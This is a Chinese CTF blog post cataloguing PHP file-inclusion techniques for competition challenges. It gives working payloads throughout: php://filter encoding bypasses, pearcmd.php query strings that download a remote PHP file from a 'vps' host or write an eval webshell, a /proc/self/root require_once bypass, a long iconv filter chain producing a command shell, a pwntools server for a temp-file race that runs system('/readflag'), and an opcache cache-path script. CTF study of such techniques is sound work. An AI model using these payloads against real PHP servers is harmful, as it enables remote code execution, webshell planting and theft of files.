ctf-文件包含的特殊姿势

文件包含的特殊姿势

filter读文件绕过

最常用的payload莫过于

1
2
php://filter/convert.base64-encode/resource=<filename>
php://filter/convert.string.rot13/resource=<filename>

如果base、string等关键词被禁,也可以使用iconv来转换编码

1
2
php://filter/convert.iconv.ASCII.UCS-2BE/resource=<filename>
php://filter/convert.iconv.utf-8.utf-7/resource=<filename>

php支持很多编码,具体见链接。此外利用iconv进行多层编码转换可以实现include2shell,后面会讲到。

绕过关键词还可以使用多重url编码来绕过,因为include自带url解码。

1
2
# 对base64-encode编码两次
php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=<filename>

pearcmd

参考P牛blog,pecl是管理php拓展使用的命令行工具,pear是pecl依赖的类库,我们所利用的就是pearcmd.php这个位于pecl/pear中的文件。

首先是pecl/pear的安装范围,即trick的使用场景:

  • php <= 7.3 默认安装。
  • php >= 7.4 在编译PHP的时候指定--with-pear才会安装。
  • Docker的任意版本镜像中都被默认安装,路径在/usr/local/lib/php

register_argc_argv

此参数开启的情况下,会将$_SERVER[‘argv’]当作参数执行,即我们传入的query_string可以被识别为参数选项。

我们查看pearcmd.php的参数选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

其中有三个选项可以利用,分别是config-create、install、download。

出网

可以使用install以及download直接下载

1
/?file=/usr/local/lib/php/peclcmd.php&+install+-R+/tmp+http://vps/1.php
1
/?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php

区别是install需要指定目录,而download会直接下载到网站根目录(不过有时候可能没有写权限),因此用download不需要知道根目录路径更方便一些。

不出网

使用config-create直接写

1
/?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1])?>+/tmp/shell.php

注意用burp发包,浏览器会给尖括号编码导致后端无法识别。

require_once绕过

include_once require_once对于同一个文件只能包含一次,事实上我们还可以通过/proc/self/root来绕过,这是php中的一个bug,具体见链接

例题WMCTF2020 make php great again 2.0:

1
2
3
4
5
6
<?php
require_once('flag.php');
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
}

包含了一次flag.php,无法在包含读取,使用payload

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

多层/proc/self/root嵌套即可,**/proc/self/root本身指向根目录**。

include2shell

参考:https://tttang.com/archive/1395/

相关脚本:https://github.com/synacktiv/php_filter_chain_generator

简而言之,结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符。

首先回顾一下PHP Base64,它的合法字符包括 A-Za-z0-9\/\=\+,不过值得注意的是php在解码base64的过程中会完全忽略非法字符(不可见字符,控制字符等),例如

1
2
3
4
5
<?php
$a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

php中一个叫做convert.iconv 的 Filter,可以用来将数据从字符集 A 转换为字符集 B,比如

1
2
3
4
5
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

在编码转换的过程中,固定字符串中的特定内容会出现变化,利用这种特性我们可以遍历所有字符集去产生我们需要的php代码的base64格式,再结合base64解码的宽松性自动删去base64中夹杂的非法字符最终实现rce。

最后一个问题就是包含文件在哪里找,要想实现include2rce我们需要知道文件的具体内容,如果data伪协议可用那么好解决,如果不可用我们就需要通过其它技巧来实现。

比如/etc/passwd

1
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id

最终产生的shell是

1
<?=`$_GET[0]`;?>

compress.zlib生成临时文件

细节参考链接

临时文件包含的一个延申,需要开启一个http server返回大文件,造成缓存延迟临时文件驻留。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import requests
import re
import threading
import time


def send_chunk(l, data):
l.send('''{}\r
{}\r
'''.format(hex(len(data))[2:], data))

while(True):
l = listen(9999)
l.wait_for_connection()

data1 = ''.ljust(1024 * 8, 'X')
data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')
data3 = 'c*/'.rjust(1024 * 8, 'c')

l.recvuntil('\r\n\r\n')
l.send('''HTTP/1.1 200 OK\r
Content-Type: exploit/revxakep\r
Connection: close\r
Transfer-Encoding: chunked\r
\r
''')

send_chunk(l, data1)

print('waiting...')
print('sending php code...')

send_chunk(l, data2)

sleep(3)

send_chunk(l, data3)

l.send('''0\r
\r
\r
''')
l.close()

然后就是竞争包含,其中的传输速率问题需要解决,因为竞争的设置需要与速率匹配,这一点可以通过FTP进行速率控制compress.zlib://ftp://

1
file=compress.zlib://ftp://vps:9999

nginx临时文件

依然是临时文件包含的延伸利用姿势。大概利用到如下几条原理:

  1. 当nginx接收fastcgi响应过大则会将一部分内容以临时文件的形式存在硬盘上
  2. 临时文件会被很快清除,但是/proc/xxx/fd/x依然可以取到这个临时文件的内容,pid和fd需要遍历
  3. 利用上面wmctf例题绕过包含次数限制的方法去包含/proc/xxx/fd/x即可

详细见链接

opcache缓存

例题:湖湘杯2020 web1

OPcache是一种通过解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高了PHP的执行效率。

简言之,如果开启了OPcache就会在特定目录下产生php文件的缓存file.php.bin。

通过查看phpinfo中的opcache.file_cache参数可以找到缓存的目录。

假设目录为/var/www/cache,那么flag.php的缓存文件路径就是/var/www/cache/[md5]/var/www/html/flag.php.bin

其中的MD5有固定算法,所需要的数据在phpinfo中都可以获取到,计算脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import sys
import re
import requests
from md5 import md5
from packaging import version # python2 -m pip install -I packaging==17.0


url = 'http://y1ng.vip:4332/'
phpinfo_url = url + '/?phpinfo'

text = requests.get(phpinfo_url).text
php_version = re.search('<tr><td class="e">PHP Version </td><td class="v">(.*) </td></tr>', text)
if php_version == None:
php_version = re.search('<h1 class="p">PHP Version (.*)', text)
if php_version == None:
print "No PHP version found, is this a phpinfo file?"
exit(0)
php_version = php_version.group(1)
php_greater_74 = (version.parse("7.4.0") < version.parse(php_version.split("-")[0]))
zend_extension_id = re.search('<tr><td class="e">Zend Extension Build </td><td class="v">(.*) </td></tr>', text)
if zend_extension_id == None:
print "No Zend Extension Build found."
exit(0)
zend_extension_id = zend_extension_id.group(1)
architecture = re.search('<tr><td class="e">System </td><td class="v">(.*) </td></tr>', text)
if architecture == None:
print "No System info found."
exit(0)
architecture = architecture.group(1).split()[-1]
if architecture == "x86_64":
bin_id_suffix = "48888"
else:
bin_id_suffix = "44444"
if php_greater_74:
zend_bin_id = "BIN_" + bin_id_suffix
else:
zend_bin_id = "BIN_SIZEOF_CHAR" + bin_id_suffix
if not php_greater_74:
if architecture == "x86_64":
alt_bin_id_suffix = "148888"
else:
alt_bin_id_suffix = "144444"

alt_zend_bin_id = "BIN_" + alt_bin_id_suffix
print "PHP version : " + php_version
print "Zend Extension ID : " + zend_extension_id
print "Zend Bin ID : " + zend_bin_id
print "Assuming " + architecture + " architecture"
digest = md5(php_version + zend_extension_id + zend_bin_id).hexdigest()
print "------------"
print "System ID : " + digest
if not php_greater_74:
alt_digest = md5(php_version + zend_extension_id + alt_zend_bin_id).hexdigest()
print "PHP lower than 7.4 detected, an alternate Bin ID is possible:"
print "Alternate Zend Bin ID : " + alt_zend_bin_id
print "Alternate System ID : " + alt_digest
print "------------"

拿到md5即可直接包含。


ctf-文件包含的特殊姿势
http://example.com/2022/11/18/ctf-文件包含的特殊姿势/
Author
springtime
Posted on
November 18, 2022
Licensed under